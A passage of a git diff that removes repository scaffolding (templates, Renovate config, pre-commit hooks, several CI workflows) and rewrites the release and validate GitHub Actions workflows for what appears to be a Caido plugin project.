diff --git a/.editorconfig b/.editorconfig deleted file mode 100644 index 2063e28..0000000 --- a/.editorconfig +++ /dev/null @@ -1,20 +0,0 @@ -[*.sh] -# like -i=4 -indent_style = space -indent_size = 4 - -binary_next_line = false # Prevents breaking `|` onto new lines -switch_case_indent = true # Indent case statements -space_redirects = true # Ensure spacing around redirects -keep_padding = true # Keep aligned padding - -[shfmt] -binary_next_line = false - -[*.tf] -indent_style = space -indent_size = 2 - -[*.hcl] -indent_style = space -indent_size = 2 diff --git a/.github/ISSUE_TEMPLATE/bug_report.yaml b/.github/ISSUE_TEMPLATE/bug_report.yaml deleted file mode 100644 index a050e88..0000000 --- a/.github/ISSUE_TEMPLATE/bug_report.yaml +++ /dev/null @@ -1,62 +0,0 @@ ---- -name: "🚨 Bug Report" -description: File a bug report -title: "🚨 [BUG] - " -labels: ["bug", "triage"] -assignees: - - octocat -body: - - type: markdown - attributes: - value: | - Thanks for taking the time to fill out this bug report! - - - type: textarea - id: what-happened - attributes: - label: What happened? - description: Also tell us, what did you expect to happen? - placeholder: | - Steps to reproduce the behavior: - 1. - 2. - 3. - - Expected behavior: - ... - - Actual behavior: - ... - validations: - required: true - - - type: textarea - id: possible-fix - attributes: - label: Any suggestions for fixing this bug? - description: If you have an idea to fix this bug, we'd love to hear it! - validations: - required: false - - - type: textarea - id: logs - attributes: - label: Relevant log output - description: Please copy and paste any relevant log output. - render: shell - - - type: textarea - id: environment - attributes: - label: Details about your environment - description: Please provide the following information about your environment. - placeholder: | - ## Your Environment - - Go Version: - - Operating System: - - Browser (if applicable): - - Relevant env vars - - Tell us what you see! - validations: - required: false diff --git a/.github/ISSUE_TEMPLATE/config.yaml b/.github/ISSUE_TEMPLATE/config.yaml deleted file mode 100644 index bd9dfe4..0000000 --- a/.github/ISSUE_TEMPLATE/config.yaml +++ /dev/null @@ -1,2 +0,0 @@ ---- -blank_issues_enabled: false diff --git a/.github/ISSUE_TEMPLATE/feature_request.yaml b/.github/ISSUE_TEMPLATE/feature_request.yaml deleted file mode 100644 index d2222e5..0000000 --- a/.github/ISSUE_TEMPLATE/feature_request.yaml +++ /dev/null @@ -1,54 +0,0 @@ ---- -name: "💡 Feature Request" -description: Create a new ticket for a new feature request -title: "💡 [REQUEST] - <title>" -labels: ["question"] -body: - - type: textarea - id: implementation_pr - attributes: - label: "Implementation PR" - description: Associated pull request - placeholder: "# Pull Request ID" - validations: - required: false - - type: textarea - id: reference_issues - attributes: - label: "Reference Issues" - description: Related issues - placeholder: "# Issue ID(s)" - validations: - required: false - - type: textarea - id: summary - attributes: - label: "Summary" - description: Provide a brief explanation of the feature - placeholder: Describe your feature request - validations: - required: true - - type: textarea - id: basic_example - attributes: - label: "Basic Example" - description: Provide some basic examples of your feature - placeholder: A few specific details about your feature request - validations: - required: true - - type: textarea - id: drawbacks - attributes: - label: "Drawbacks" - description: What are the drawbacks/impacts of your feature request? - placeholder: Identify the drawbacks and impacts while remaining neutral on your feature request - validations: - required: true - - type: textarea - id: unresolved_question - attributes: - label: "Unresolved questions" - description: What questions remain unresolved? - placeholder: Identify any unresolved issues - validations: - required: false diff --git a/.github/PULL_REQUEST_TEMPLATE.md b/.github/PULL_REQUEST_TEMPLATE.md deleted file mode 100644 index 19e12b1..0000000 --- a/.github/PULL_REQUEST_TEMPLATE.md +++ /dev/null @@ -1,30 +0,0 @@ -# [Title of Your PR] - -**Key Changes:** - -- [ ] List major changes and core updates -- [ ] Keep each line under 80 characters -- [ ] Focus on the "what" and "why" - -**Added:** - -- [ ] New features/functionality -- [ ] New files/configurations -- [ ] New dependencies - -**Changed:** - -- [ ] Updates to existing code -- [ ] Configuration changes -- [ ] Dependency updates - -**Removed:** - -- [ ] Deleted files/code -- [ ] Removed dependencies -- [ ] Cleaned up configurations - ---- - -<!-- Delete any sections that are not applicable --> -<!-- Add screenshots or code examples if relevant --> diff --git a/.github/actionlint.yaml b/.github/actionlint.yaml deleted file mode 100644 index 440894d..0000000 --- a/.github/actionlint.yaml +++ /dev/null @@ -1,3 +0,0 @@ -self-hosted-runner: - labels: - - ubuntu24.04-amd64-8-core diff --git a/.github/labeler.yaml b/.github/labeler.yaml deleted file mode 100644 index a764319..0000000 --- a/.github/labeler.yaml +++ /dev/null @@ -1,76 +0,0 @@ ---- -# Area Labels -area/docs: - - changed-files: - - any-glob-to-any-file: "docs/**/*" - -area/examples: - - changed-files: - - any-glob-to-any-file: "examples/**/*" - -area/github: - - changed-files: - - any-glob-to-any-file: ".github/**/*" - -area/pre-commit: - - changed-files: - - any-glob-to-any-file: ".pre-commit-config.yaml" - - any-glob-to-any-file: ".hooks/**/*" - -area/python: - - changed-files: - - any-glob-to-any-file: "pyproject.toml" - - any-glob-to-any-file: "requirements.txt" - - any-glob-to-any-file: "*.py" - -area/security: - - changed-files: - - any-glob-to-any-file: "SECURITY.md" - - any-glob-to-any-file: "secrets.baseline" - -area/taskfiles: - - changed-files: - - any-glob-to-any-file: "Taskfile.yaml" - -area/tests: - - changed-files: - - any-glob-to-any-file: "tests/**/*" - -area/workspace: - - changed-files: - - any-glob-to-any-file: "python.code-workspace" - -# Development Labels -area/dev: - - changed-files: - - any-glob-to-any-file: "dev/**/*" - -# Semantic Type Labels -type/digest: - - head-branch: ["^renovate/"] - - head-branch: ["^deps/"] - -type/patch: - - any: ["title:/^(?:Fix|Patch|Update)/"] - -type/minor: - - any: ["title:/^(?:Add|Feature|Improve)/"] - -type/major: - - any: ["title:/^(?:BREAKING)/"] - -type/break: - - any: ["body:/BREAKING CHANGE:/"] - -# Documentation Labels -type/docs: - - changed-files: - - any-glob-to-any-file: "docs/**/*" - - any-glob-to-any-file: "*.md" - -# Core Files Labels -type/core: - - changed-files: - - any-glob-to-any-file: "CODEOWNERS" - - any-glob-to-any-file: "LICENSE" - - any-glob-to-any-file: "README.md" diff --git a/.github/labels.yaml b/.github/labels.yaml deleted file mode 100644 index 7e6a6c6..0000000 --- a/.github/labels.yaml +++ /dev/null @@ -1,134 +0,0 @@ ---- -# Area Labels -- name: area/docs - color: "72CCF3" # Light Blue - description: >- - Changes to documentation and guides - -- name: area/examples - color: "BC9BE3" # Lavender - description: >- - Changes to example code and demonstrations - -- name: area/github - color: "F4D1B7" # Peach - description: >- - Changes made to GitHub Actions - -- name: area/pre-commit - color: "84B6EB" # Steel Blue - description: >- - Changes made to pre-commit hooks - -- name: area/python - color: "7BD7E0" # Turquoise - description: >- - Changes to Python package configuration and dependencies - -- name: area/security - color: "FF6600" # Orange - description: >- - Changes to security policies and configurations - -- name: area/taskfiles - color: "66CCFF" # Sky Blue - description: >- - Changes made to Taskfiles - -- name: area/tests - color: "99CC00" # Lime Green - description: >- - Changes to test files and testing infrastructure - -- name: area/workspace - color: "FF99CC" # Pink - description: >- - Changes to VSCode workspace configuration - -- name: area/assets - color: "FFA07A" # Light Salmon - description: >- - Changes to asset files - -- name: area/templates - color: "DA70D6" # Orchid - description: >- - Changes to templates - -- name: area/scripts - color: "40E0D0" # Turquoise - description: >- - Changes to script files - -- name: area/src - color: "4682B4" # Steel Blue - description: >- - Changes to source code - -- name: area/ci - color: "FF4500" # Orange Red - description: >- - Changes related to CI/CD configurations - -- name: area/shell - color: "556B2F" # Dark Olive Green - description: >- - Changes to shell scripts - -- name: area/dev - color: "CC6699" # Dusty Rose - description: >- - Changes to development tools and assets - -# Renovate Labels -- name: renovate/container - color: "9933CC" # Purple - description: >- - Docker container updates via Renovate - -- name: renovate/github-action - color: "FF3366" # Hot Pink - description: >- - GitHub Action updates via Renovate - -- name: renovate/github-release - color: "3399FF" # Bright Blue - description: >- - GitHub Release updates via Renovate - -# Semantic Type Labels -- name: type/digest - color: "FF66CC" # Bright Pink - description: >- - Dependency digest updates - -- name: type/patch - color: "FFC300" # Golden Yellow - description: >- - Patch changes (fixes, updates) - -- name: type/minor - color: "FFD700" # Gold - description: >- - Minor changes (features, improvements) - -- name: type/major - color: "F6412D" # Red Orange - description: >- - Major changes - -- name: type/break - color: "FF0000" # Bright Red - description: >- - Breaking changes - -# Documentation Labels -- name: type/docs - color: "0075CA" # Documentation Blue - description: >- - Documentation updates and improvements - -- name: type/core - color: "A2EEEF" # Light Blue - description: >- - Changes to core repository files and configurations diff --git a/.github/renovate.json b/.github/renovate.json deleted file mode 100644 index c181218..0000000 --- a/.github/renovate.json +++ /dev/null @@ -1,134 +0,0 @@ -{ - "$schema": "https://docs.renovatebot.com/renovate-schema.json", - "extends": [ - "config:recommended", - ":disableRateLimiting", - ":dependencyDashboard", - ":semanticCommits", - ":enablePreCommit", - ":automergeDigest", - ":automergeBranch" - ], - "dependencyDashboardTitle": "Renovate Dashboard 🤖", - "minimumReleaseAge": "3 days", - "suppressNotifications": [ - "prIgnoreNotification" - ], - "rebaseWhen": "conflicted", - "commitBodyTable": true, - "pre-commit": { - "enabled": true - }, - "enabledManagers": [ - "npm", - "github-actions", - "pip_requirements", - "poetry", - "pep621", - "setup-cfg", - "dockerfile" - ], - "timezone": "America/New_York", - "schedule": [ - "before 4am" - ], - "labels": [ - "dependency" - ], - "packageRules": [ - { - "matchUpdateTypes": [ - "patch" - ], - "matchCurrentVersion": "!/^0/", - "automerge": true - }, - { - "matchDepTypes": [ - "devDependencies" - ], - "groupName": "dev dependencies" - }, - { - "groupName": "typescript-types", - "matchPackagePatterns": [ - "^@types/" - ] - }, - { - "groupName": "eslint packages", - "matchPackagePatterns": [ - "eslint" - ] - }, - { - "matchManagers": [ - "poetry", - "pip_requirements" - ], - "groupName": "pytest packages", - "groupSlug": "pytest", - "separateMinorPatch": true, - "matchPackagePatterns": [ - "^pytest" - ] - }, - { - "matchManagers": [ - "poetry", - "pip_requirements" - ], - "matchDepTypes": [ - "python" - ], - "allowedVersions": "^3.8", - "enabled": true - }, - { - "description": "Auto merge lint and formatting tools", - "matchManagers": ["npm"], - "matchPackagePatterns": [ - "lint", - "prettier", - "eslint", - "@typescript-eslint/", - "stylelint", - "jshint", - "tslint" - ], - "automerge": true, - "automergeType": "pr" - }, - { - "description": "Auto merge npm minor and patch updates", - "matchManagers": ["npm"], - "matchUpdateTypes": ["minor", "patch"], - "matchCurrentVersion": "!/^0/", - "automerge": true, - "automergeType": "pr" - }, - { - "description": "Auto merge GitHub Actions minor updates", - "matchManagers": ["github-actions"], - "matchUpdateTypes": ["minor", "patch"], - "automerge": true, - "automergeType": "pr" - }, - { - "description": "Auto merge non-major updates", - "matchUpdateTypes": [ - "minor", - "patch" - ], - "automerge": true, - "automergeType": "pr" - } - ], - "vulnerabilityAlerts": { - "enabled": true, - "labels": [ - "security" - ] - }, - "lockFileMaintenance": { "enabled": true } -} diff --git a/.github/renovate.properties b/.github/renovate.properties deleted file mode 100644 index a6b6168..0000000 --- a/.github/renovate.properties +++ /dev/null @@ -1,8 +0,0 @@ -RENOVATE_ASSIGNEES=["GangGreenTemperTatum"] -RENOVATE_PLATFORM=github -RENOVATE_AUTODISCOVER=true -RENOVATE_AUTODISCOVER_FILTER="GangGreenTemperTatum/*" -RENOVATE_PR_CONCURRENT_LIMIT=50 -RENOVATE_BRANCH_CONCURRENT_LIMIT=0 -RENOVATE_PR_HOURLY_LIMIT=0 -LOG_LEVEL=warn \ No newline at end of file diff --git a/.github/workflows/pre-commit.yml b/.github/workflows/pre-commit.yml deleted file mode 100644 index 145ec61..0000000 --- a/.github/workflows/pre-commit.yml +++ /dev/null @@ -1,16 +0,0 @@ -name: Pre-commit Checks - -on: - pull_request: - push: - branches: [main] - -jobs: - pre-commit: - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 - - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0 - with: - python-version: '3.13' - - uses: pre-commit/action@2c7b3805fd2a0fd8c1884dcaebf91fc102a13ecd #v3.0.1 \ No newline at end of file diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index bf37280..5187b51 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -1,30 +1,37 @@ -name: 🚀 Release +name: Release on: workflow_dispatch: env: - NODE_VERSION: 20 + NODE_VERSION: 22 PNPM_VERSION: 9 jobs: release: - name: Release + name: 🚀 Release runs-on: ubuntu-latest permissions: contents: write steps: + - name: Verify main branch + run: | + if [[ "${{ github.ref_name }}" != "main" ]]; then + echo "Release can only be done on the main branch." + exit 1 + fi + - name: Checkout project - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + uses: actions/checkout@v4 - name: Setup Node.js - uses: actions/setup-node@6044e13b5dc448c55e2357c09f80417699197238 # v6.2.0 + uses: actions/setup-node@v4 with: node-version: ${{ env.NODE_VERSION }} - name: Setup pnpm - uses: pnpm/action-setup@41ff72655975bd51cab0327fa583b6e92b6d3061 # v4.2.0 + uses: pnpm/action-setup@v4 with: version: ${{ env.PNPM_VERSION }} run_install: true @@ -37,6 +44,7 @@ jobs: run: | if [[ -z "${{ secrets.PRIVATE_KEY }}" ]]; then echo "Set an ed25519 key as PRIVATE_KEY in GitHub Action secret to sign." + exit 1 else echo "${{ secrets.PRIVATE_KEY }}" > private_key.pem openssl pkeyutl -sign -inkey private_key.pem -out plugin_package.zip.sig -rawin -in plugin_package.zip @@ -48,13 +56,13 @@ jobs: working-directory: dist run: | VERSION=$(unzip -p plugin_package.zip manifest.json | jq -r .version) - echo "version=${VERSION}" >> "$GITHUB_OUTPUT" + echo "version=${VERSION}" >> $GITHUB_OUTPUT - name: Create release - uses: ncipollo/release-action@b7eabc95ff50cbeeedec83973935c8f306dfcd0b #v1.20.0 + uses: caido/action-release@v1 with: tag: ${{ steps.meta.outputs.version }} commit: ${{ github.sha }} body: 'Release ${{ steps.meta.outputs.version }}' artifacts: 'dist/plugin_package.zip,dist/plugin_package.zip.sig' - immutableCreate: true \ No newline at end of file + immutableCreate: true diff --git a/.github/workflows/rigging_pr_description.yml b/.github/workflows/rigging_pr_description.yml deleted file mode 100644 index f1f65b3..0000000 --- a/.github/workflows/rigging_pr_description.yml +++ /dev/null @@ -1,54 +0,0 @@ ---- -name: Update PR Description with Rigging - -on: - pull_request: - types: [opened, synchronize] - -jobs: - update-description: - runs-on: ubuntu-latest - permissions: - pull-requests: write - contents: read - - steps: - - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 - with: - fetch-depth: 0 # full history for proper diffing - - - name: Set up Python - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0 - with: - python-version: "3.13" - - - name: Install uv - run: | - python -m pip install --upgrade pip - pip install uv - - - name: Generate PR Description - id: description - env: - OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }} - run: | - DESCRIPTION="$(uv run --no-project .hooks/generate_pr_description.py --base-ref "origin/${{ github.base_ref }}" --exclude "./*.lock")" - { - echo "description<<EOF" - echo "${DESCRIPTION}" - echo "EOF" - } >> "$GITHUB_OUTPUT" - - - name: Update PR Description - uses: nefrob/pr-description@4dcc9f3ad5ec06b2a197c5f8f93db5e69d2fdca7 # v1.2.0 - with: - token: ${{ secrets.GITHUB_TOKEN }} - content: | - - --- - - ## Generated Summary - - ${{ steps.description.outputs.description }} - - This summary was generated with ❤️ by [rigging](https://docs.dreadnode.io/rigging/) diff --git a/.github/workflows/semantic-prs.yaml b/.github/workflows/semantic-prs.yaml deleted file mode 100644 index 26a1685..0000000 --- a/.github/workflows/semantic-prs.yaml +++ /dev/null @@ -1,23 +0,0 @@ ---- -name: "Semantic Lints PR" -on: - pull_request: - branches: - - main - types: - - opened - - edited - - synchronize - - reopened - -permissions: - pull-requests: read - -jobs: - main: - name: Validate PR title - runs-on: ubuntu-latest - steps: - - uses: amannn/action-semantic-pull-request@48f256284bd46cdaab1048c3721360e808335d50 # v6.1.1 - env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} diff --git a/.github/workflows/validate.yml b/.github/workflows/validate.yml index d6d205b..82d83fa 100644 --- a/.github/workflows/validate.yml +++ b/.github/workflows/validate.yml @@ -4,41 +4,38 @@ on: push: branches: - 'main' - workflow_call: pull_request: - branches: - - 'main' + workflow_call: concurrency: group: validate-${{ github.ref_name }} cancel-in-progress: true env: - CAIDO_NODE_VERSION: 20 - CAIDO_PNPM_VERSION: 9 + NODE_VERSION: 22 + PNPM_VERSION: 9 jobs: typecheck: name: 'Typecheck' runs-on: ubuntu-latest timeout-minutes: 10 - steps: - name: Checkout repository - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + uses: actions/checkout@v4 - name: Setup Node.js - uses: actions/setup-node@6044e13b5dc448c55e2357c09f80417699197238 # v6.2.0 + uses: actions/setup-node@v4 with: - node-version: ${{ env.CAIDO_NODE_VERSION }} + node-version: ${{ env.NODE_VERSION }} - name: Setup pnpm - uses: pnpm/action-setup@41ff72655975bd51cab0327fa583b6e92b6d3061 # v4.2.0 + uses: pnpm/action-setup@v4 with: - version: ${{ env.CAIDO_PNPM_VERSION }} + version: ${{ env.PNPM_VERSION }} - name: Install dependencies - run: pnpm install + run: pnpm install --frozen-lockfile - name: Run typechecker run: pnpm typecheck @@ -49,20 +46,92 @@ jobs: timeout-minutes: 10 steps: - name: Checkout repository - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + uses: actions/checkout@v4 - name: Setup Node.js - uses: actions/setup-node@6044e13b5dc448c55e2357c09f80417699197238 # v6.2.0 + uses: actions/setup-node@v4 with: - node-version: ${{ env.CAIDO_NODE_VERSION }} + node-version: ${{ env.NODE_VERSION }} - name: Setup pnpm - uses: pnpm/action-setup@41ff72655975bd51cab0327fa583b6e92b6d3061 # v4.2.0 + uses: pnpm/action-setup@v4 with: - version: ${{ env.CAIDO_PNPM_VERSION }} + version: ${{ env.PNPM_VERSION }} - name: Install dependencies - run: pnpm install + run: pnpm install --frozen-lockfile - name: Run linter - run: pnpm lint \ No newline at end of file + run: pnpm lint + + test: + name: 'Test' + runs-on: ubuntu-latest + timeout-minutes: 10 + steps: + - name: Checkout repository + uses: actions/checkout@v4 + + - name: Setup Node.js + uses: actions/setup-node@v4 + with: + node-version: ${{ env.NODE_VERSION }} + + - name: Setup pnpm + uses: pnpm/action-setup@v4 + with: + version: ${{ env.PNPM_VERSION }} + + - name: Install dependencies + run: pnpm install --frozen-lockfile + + - name: Run tests + run: pnpm test + + knip: + name: 'Knip' + runs-on: ubuntu-latest + timeout-minutes: 10 + steps: + - name: Checkout repository + uses: actions/checkout@v4 + + - name: Setup Node.js + uses: actions/setup-node@v4 + with: + node-version: ${{ env.NODE_VERSION }} + + - name: Setup pnpm + uses: pnpm/action-setup@v4 + with: + version: ${{ env.PNPM_VERSION }} + + - name: Install dependencies + run: pnpm install --frozen-lockfile + + - name: Run knip + run: pnpm knip + + build: + name: 'Build' + runs-on: ubuntu-latest + timeout-minutes: 10 + steps: + - name: Checkout repository + uses: actions/checkout@v4 + + - name: Setup Node.js + uses: actions/setup-node@v4 + with: + node-version: ${{ env.NODE_VERSION }} + + - name: Setup pnpm + uses: pnpm/action-setup@v4 + with: + version: ${{ env.PNPM_VERSION }} + + - name: Install dependencies + run: pnpm install --frozen-lockfile + + - name: Run build + run: pnpm build diff --git a/.gitignore b/.gitignore index f274dde..54e2773 100644 --- a/.gitignore +++ b/.gitignore @@ -1,156 +1,6 @@ -# Dependencies -node_modules/ -npm-debug.log* -yarn-debug.log* -yarn-error.log* -lerna-debug.log* -.pnpm-debug.log* - -# Documentation -docs/ -documentation/ - -# Build outputs -dist/ -build/ -out/ -*.tsbuildinfo -*.build.js -*.build.js.map - -# Generated files -packages/backend/src/bypass-data.generated.ts - -# Runtime data -pids -*.pid -*.seed -*.pid.lock - -# Coverage directory used by tools like istanbul -coverage/ -*.lcov -.nyc_output - -# ESLint cache -.eslintcache - -# Optional npm cache directory -.npm - -# Optional eslint cache -.eslintcache - -# Microbundle cache -.rpt2_cache/ -.rts2_cache_cjs/ -.rts2_cache_es/ -.rts2_cache_umd/ - -# Optional REPL history -.node_repl_history - -# Output of 'npm pack' -*.tgz - -# Yarn Integrity file -.yarn-integrity - -# dotenv environment variable files -.env -.env.development.local -.env.test.local -.env.production.local -.env.local - -# parcel-bundler cache (https://parceljs.org/) -.cache -.parcel-cache - -# Next.js build output -.next -out - -# Nuxt.js build / generate output -.nuxt +node_modules dist - -# Gatsby files -.cache/ -# Comment in the public line in if your project uses Gatsby and not Next.js -# public - -# Vite build tool -dist-ssr -*.local - -# Rollup plugin TypeScript declarations cache -.rpt2_cache/ - -# Stores VSCode versions used for testing VSCode extensions -.vscode-test - -# yarn v2 -.yarn/cache -.yarn/unplugged -.yarn/build-state.yml -.yarn/install-state.gz -.pnp.* - -# Temporary folders -tmp/ -temp/ - -# Logs -logs -*.log - -# OS generated files .DS_Store -.DS_Store? -._* -.Spotlight-V100 -.Trashes -ehthumbs.db -Thumbs.db - -# IDE files -.vscode/ -.idea/ -*.swp -*.swo -*~ - -# Backup files -*.bak -*.tmp -*.orig - -# TypeScript cache +plugin_package.zip +coverage *.tsbuildinfo - -# Optional stylelint cache -.stylelintcache - -# SvelteKit build / generate output -.svelte-kit - -# Testing -/coverage -/.nyc_output - -# Playwright -test-results/ -playwright-report/ -playwright/.cache/ - -# Storybook build outputs -.out -.storybook-out -storybook-static - -# Temporary files -.tmp/ -.temp/ -.claude/ -private.pem diff --git a/.hooks/.gitkeep b/.hooks/.gitkeep deleted file mode 100644 index e69de29..0000000 diff --git a/.hooks/check_pinned_hash_dependencies.py b/.hooks/check_pinned_hash_dependencies.py deleted file mode 100755 index 728f82a..0000000 --- a/.hooks/check_pinned_hash_dependencies.py +++ /dev/null @@ -1,131 +0,0 @@ -#!/usr/bin/env python -import re -import sys -from pathlib import Path - - -class GitHubActionChecker: - def __init__(self) -> None: - # Pattern for actions with SHA-1 hashes (pinned) - self.pinned_pattern = re.compile(r"uses:\s+([^@\s]+)@([a-f0-9]{40})") - - # Pattern for actions with version tags (unpinned) - self.unpinned_pattern = re.compile( - r"uses:\s+([^@\s]+)@(v\d+(?:\.\d+)*(?:-[a-zA-Z0-9]+(?:\.\d+)*)?)", - ) - - # Pattern for all uses statements - self.all_uses_pattern = re.compile(r"uses:\s+([^@\s]+)@([^\s\n]+)") - - def format_terminal_link(self, file_path: str, line_number: int) -> str: - """Format a terminal link to a file and line number. - - Args: - file_path: Path to the file - line_number: Line number in the file - - Returns: - str: Formatted string with file path and line number - """ - return f"{file_path}:{line_number}" - - def get_line_numbers(self, content: str, pattern: re.Pattern[str]) -> list[tuple[str, int]]: - """Find matches with their line numbers.""" - matches = [] - matches.extend( - (match.group(0), i) - for i, line in enumerate(content.splitlines(), 1) - for match in pattern.finditer(line) - ) - return matches - - def check_file(self, file_path: str) -> bool: - """Check a single file for unpinned dependencies.""" - try: - content = Path(file_path).read_text() - except (FileNotFoundError, PermissionError, IsADirectoryError, OSError) as e: - print(f"\033[91mError reading file {file_path}: {e}\033[0m") - return False - - # Get matches with line numbers - pinned_matches = self.get_line_numbers(content, self.pinned_pattern) - unpinned_matches = self.get_line_numbers(content, self.unpinned_pattern) - all_matches = self.get_line_numbers(content, self.all_uses_pattern) - - print(f"\n\033[1m[=] Checking file: {file_path}\033[0m") - - # Print pinned dependencies - if pinned_matches: - print("\033[92m[+] Pinned:\033[0m") - for match, line_num in pinned_matches: - print(f" |- {match} \033[90m({file_path}:{line_num})\033[0m") - - # Track all found actions for validation - found_actions = set() - for match, _ in pinned_matches + unpinned_matches: - action_name = self.pinned_pattern.match(match) or self.unpinned_pattern.match(match) - if action_name: - found_actions.add(action_name.group(1)) - - has_errors = False - - # Check for unpinned dependencies - if unpinned_matches: - has_errors = True - print("\033[93m[!] Unpinned (using version tags):\033[0m") - for match, line_num in unpinned_matches: - print(f" |- {match} \033[90m({file_path}:{line_num})\033[0m") - - # Check for completely unpinned dependencies (no SHA or version) - unpinned_without_hash = [ - (match, line_num) - for match, line_num in all_matches - if not any(match in pinned[0] for pinned in pinned_matches) - and not any(match in unpinned[0] for unpinned in unpinned_matches) - ] - - if unpinned_without_hash: - has_errors = True - print("\033[91m[!] Completely unpinned (no SHA or version):\033[0m") - for match, line_num in unpinned_without_hash: - print( - f" |- {match} \033[90m({self.format_terminal_link(file_path, line_num)})\033[0m", - ) - - # Print summary - total_actions = len(pinned_matches) + len(unpinned_matches) + len(unpinned_without_hash) - if total_actions == 0: - print("\033[93m[!] No GitHub Actions found in this file\033[0m") - else: - print("\n\033[1mSummary:\033[0m") - print(f"Total actions: {total_actions}") - print(f"Pinned: {len(pinned_matches)}") - print(f"Unpinned with version: {len(unpinned_matches)}") - print(f"Completely unpinned: {len(unpinned_without_hash)}") - - return not has_errors - - -def main() -> None: - checker = GitHubActionChecker() - files_to_check = sys.argv[1:] - - if not files_to_check: - print("\033[91mError: No files provided to check\033[0m") - print("Usage: python script.py <file1> <file2> ...") - sys.exit(1) - - results = {file: checker.check_file(file) for file in files_to_check} - - # Print final summary - print("\n\033[1mFinal Results:\033[0m") - for file, passed in results.items(): - status = "\033[92m✓ Passed\033[0m" if passed else "\033[91m✗ Failed\033[0m" - print(f"{status} {file}") - - if not all(results.values()): - sys.exit(1) - - -if __name__ == "__main__": - main() diff --git a/.hooks/generate_docs.py b/.hooks/generate_docs.py deleted file mode 100644 index f82044c..0000000 --- a/.hooks/generate_docs.py +++ /dev/null @@ -1,222 +0,0 @@ -import argparse # noqa: INP001 -import re -import typing as t -from pathlib import Path - -from markdown import Markdown # type: ignore [import-untyped] -from markdownify import MarkdownConverter # type: ignore [import-untyped] -from markupsafe import Markup -from mkdocstrings_handlers.python._internal.config import PythonConfig -from mkdocstrings_handlers.python._internal.handler import ( - PythonHandler, -) - -# ruff: noqa: T201 - - -class CustomMarkdownConverter(MarkdownConverter): # type: ignore [misc] - # Strip extra whitespace from code blocks - def convert_pre(self, el: t.Any, text: str, parent_tags: t.Any) -> t.Any: - return super().convert_pre(el, text.strip(), parent_tags) - - # bold items with doc-section-title in a span class - def convert_span(self, el: t.Any, text: str, parent_tags: t.Any) -> t.Any: # noqa: ARG002 - if "doc-section-title" in el.get("class", []): - return f"**{text.strip()}**" - return text - - # Remove the div wrapper for inline descriptions - def convert_div(self, el: t.Any, text: str, parent_tags: t.Any) -> t.Any: - if "doc-md-description" in el.get("class", []): - return text.strip() - return super().convert_div(el, text, parent_tags) - - # Map mkdocstrings details classes to Mintlify callouts - def convert_details(self, el: t.Any, text: str, parent_tags: t.Any) -> t.Any: # noqa: ARG002 - classes = el.get("class", []) - - # Handle source code details specially - if "quote" in classes: - summary = el.find("summary") - if summary: - file_path = summary.get_text().replace("Source code in ", "").strip() - content = text[text.find("```") :] - return f'\n<Accordion title="Source code in {file_path}" icon="code">\n{content}\n</Accordion>\n' - - callout_map = { - "note": "Note", - "warning": "Warning", - "info": "Info", - "tip": "Tip", - } - - callout_type = None - for cls in classes: - if cls in callout_map: - callout_type = callout_map[cls] - break - - if not callout_type: - return text - - content = text.strip() - if content.startswith(callout_type): - content = content[len(callout_type) :].strip() - - return f"\n<{callout_type}>\n{content}\n</{callout_type}>\n" - - def convert_table(self, el: t.Any, text: str, parent_tags: t.Any) -> t.Any: - # Check if this is a highlighttable (source code with line numbers) - if "highlighttable" in el.get("class", []): - code_cells = el.find_all("td", class_="code") - if code_cells: - code = code_cells[0].get_text() - code = code.strip() - code = code.replace("```", "~~~") - return f"\n```python\n{code}\n```\n" - - return super().convert_table(el, text, parent_tags) - - -class AutoDocGenerator: - def __init__(self, source_paths: list[str], theme: str = "material", **options: t.Any) -> None: - self.source_paths = source_paths - self.theme = theme - self.handler = PythonHandler(PythonConfig.from_data(), base_dir=Path.cwd()) - self.options = options - - self.handler._update_env( # noqa: SLF001 - Markdown(), - config={"mdx": ["toc"]}, - ) - - md = Markdown(extensions=["fenced_code"]) - - def simple_convert_markdown( - text: str, - heading_level: int, - html_id: str = "", - **kwargs: t.Any, - ) -> t.Any: - return Markup(md.convert(text) if text else "") # noqa: S704 # nosec - - self.handler.env.filters["convert_markdown"] = simple_convert_markdown - - def generate_docs_for_module( - self, - module_path: str, - ) -> str: - options = self.handler.get_options( - { - "docstring_section_style": "list", - "merge_init_into_class": True, - "show_signature_annotations": True, - "separate_signature": True, - "show_source": True, - "show_labels": False, - "show_bases": False, - **self.options, - }, - ) - - module_data = self.handler.collect(module_path, options) - html = self.handler.render(module_data, options) - - return str( - CustomMarkdownConverter( - code_language="python", - ).convert(html), - ) - - def process_mdx_file(self, file_path: Path) -> bool: - content = file_path.read_text(encoding="utf-8") - original_content = content - - # Find the header comment block - header_match = re.search( - r"\{\s*/\*\s*((?:::.*?\n?)*)\s*\*/\s*\}", - content, - re.MULTILINE | re.DOTALL, - ) - - if not header_match: - return False - - header = header_match.group(0) - module_lines = header_match.group(1).strip().split("\n") - - # Generate content for each module - markdown_blocks = [] - for line in module_lines: - if line.startswith(":::"): - module_path = line.strip()[3:].strip() - if module_path: - markdown = self.generate_docs_for_module(module_path) - markdown_blocks.append(markdown) - - keep_end = content.find(header) + len(header) - new_content = content[:keep_end] + "\n\n" + "\n".join(markdown_blocks) - - # Write back if changed - if new_content != original_content: - file_path.write_text(new_content, encoding="utf-8") - print(f"[+] Updated: {file_path}") - return True - - return False - - def process_directory(self, directory: Path, pattern: str = "**/*.mdx") -> int: - if not directory.exists(): - print(f"[!] Directory does not exist: {directory}") - return 0 - - files_processed = 0 - files_modified = 0 - - for mdx_file in directory.glob(pattern): - if mdx_file.is_file(): - files_processed += 1 - if self.process_mdx_file(mdx_file): - files_modified += 1 - - return files_modified - - -def main() -> None: - """Main entry point for the script.""" - 